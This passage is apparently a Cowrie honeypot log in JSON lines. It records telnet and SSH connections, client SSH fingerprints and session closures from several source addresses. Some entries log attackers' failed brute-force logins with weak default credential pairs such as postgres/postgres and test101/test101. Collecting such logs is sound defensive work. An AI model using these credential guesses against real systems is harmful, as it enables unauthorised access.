{"eventid":"cowrie.session.closed","duration":17.078638315200806,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:40.056425Z","src_ip":"34.38.123.195","session":"6d69ddedf821","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.835960388183594,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:40.095645Z","src_ip":"34.38.123.195","session":"3c92ffbbd6df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.995805978775024,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:40.099507Z","src_ip":"34.38.123.195","session":"b5c5898ac331","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.771405220031738,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:40.101754Z","src_ip":"34.38.123.195","session":"9ad688ba5687","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.311487197875977,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:40.104563Z","src_ip":"34.38.123.195","session":"1025ee09d9c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.467764854431152,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:40.106922Z","src_ip":"34.38.123.195","session":"e75f637a5999","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.628282070159912,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:40.113568Z","src_ip":"34.38.123.195","session":"7efece138340","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.104939699172974,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:40.116729Z","src_ip":"34.38.123.195","session":"9924312795c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.943906545639038,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:40.119710Z","src_ip":"34.38.123.195","session":"b08e9b987c26","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.265044212341309,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:40.121936Z","src_ip":"34.38.123.195","session":"55c3e3298b8d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.78314781188965,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:49.322076Z","src_ip":"185.26.126.47","session":"08b1b57bcf92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39716,"dst_ip":"159.203.135.109","dst_port":22,"session":"9527bb2bbedb","protocol":"ssh","message":"New connection: 159.203.92.129:39716 (159.203.135.109:22) [session: 9527bb2bbedb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:58.673069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:58.677374Z","src_ip":"159.203.92.129","session":"9527bb2bbedb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:58.681143Z","src_ip":"159.203.92.129","session":"9527bb2bbedb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aol","password":"aol","message":"login attempt [aol/aol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:58.690867Z","src_ip":"159.203.92.129","session":"9527bb2bbedb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:59.696286Z","src_ip":"159.203.92.129","session":"9527bb2bbedb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00114583969116,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:07:29.104721Z","src_ip":"181.45.117.14","session":"b3c681659e81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00210571289062,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:07:29.694978Z","src_ip":"181.45.117.14","session":"0df7313e1e8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":33258,"dst_ip":"159.203.135.109","dst_port":22,"session":"2267e58dc297","protocol":"ssh","message":"New connection: 103.228.69.212:33258 (159.203.135.109:22) [session: 2267e58dc297]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:07:32.498454Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:07:32.502282Z","src_ip":"103.228.69.212","session":"2267e58dc297","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:07:32.738734Z","src_ip":"103.228.69.212","session":"2267e58dc297","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres","message":"login attempt [postgres/postgres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:07:33.717386Z","src_ip":"103.228.69.212","session":"2267e58dc297","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:07:34.956930Z","src_ip":"103.228.69.212","session":"2267e58dc297","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35628,"dst_ip":"159.203.135.109","dst_port":22,"session":"19414496ee3b","protocol":"ssh","message":"New connection: 159.203.92.129:35628 (159.203.135.109:22) [session: 19414496ee3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:07:41.519590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:07:41.527276Z","src_ip":"159.203.92.129","session":"19414496ee3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:07:41.531598Z","src_ip":"159.203.92.129","session":"19414496ee3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aomeizhen","password":"123","message":"login attempt [aomeizhen/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:07:41.540205Z","src_ip":"159.203.92.129","session":"19414496ee3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:07:42.545514Z","src_ip":"159.203.92.129","session":"19414496ee3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00174021720886,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:07:46.696964Z","src_ip":"49.88.156.34","session":"f17085aa3eb8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":36766,"dst_ip":"159.203.135.109","dst_port":23,"session":"a575a4cd940a","protocol":"telnet","message":"New connection: 185.26.126.47:36766 (159.203.135.109:23) [session: a575a4cd940a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:07:50.136152Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56862,"dst_ip":"159.203.135.109","dst_port":22,"session":"082e60e13554","protocol":"ssh","message":"New connection: 159.203.92.129:56862 (159.203.135.109:22) [session: 082e60e13554]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:08:27.733342Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:08:27.738003Z","src_ip":"159.203.92.129","session":"082e60e13554","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:08:27.743112Z","src_ip":"159.203.92.129","session":"082e60e13554","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aomeizhen","password":"123456","message":"login attempt [aomeizhen/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:08:27.759164Z","src_ip":"159.203.92.129","session":"082e60e13554","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:08:28.765462Z","src_ip":"159.203.92.129","session":"082e60e13554","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.215479373931885,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:08:32.351541Z","src_ip":"185.26.126.47","session":"a575a4cd940a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":50112,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce63ab7923ee","protocol":"ssh","message":"New connection: 103.228.69.212:50112 (159.203.135.109:22) [session: ce63ab7923ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:08:32.460995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:08:32.479171Z","src_ip":"103.228.69.212","session":"ce63ab7923ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:08:32.703132Z","src_ip":"103.228.69.212","session":"ce63ab7923ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test101","password":"test101","message":"login attempt [test101/test101] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:08:33.632328Z","src_ip":"103.228.69.212","session":"ce63ab7923ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:08:34.859028Z","src_ip":"103.228.69.212","session":"ce63ab7923ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.79.142.221","src_port":40604,"dst_ip":"10.17.0.5","dst_port":22,"session":"e931d5912a58","protocol":"ssh","message":"New connection: 210.79.142.221:40604 (10.17.0.5:22) [session: e931d5912a58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:09:13.614795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:09:13.618842Z","src_ip":"210.79.142.221","session":"e931d5912a58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:09:13.862879Z","src_ip":"210.79.142.221","session":"e931d5912a58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51546,"dst_ip":"159.203.135.109","dst_port":22,"session":"e10b8960f9a3","protocol":"ssh","message":"New connection: 159.203.92.129:51546 (159.203.135.109:22) [session: e10b8960f9a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:09:14.122343Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:09:14.127244Z","src_ip":"159.203.92.129","session":"e10b8960f9a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-c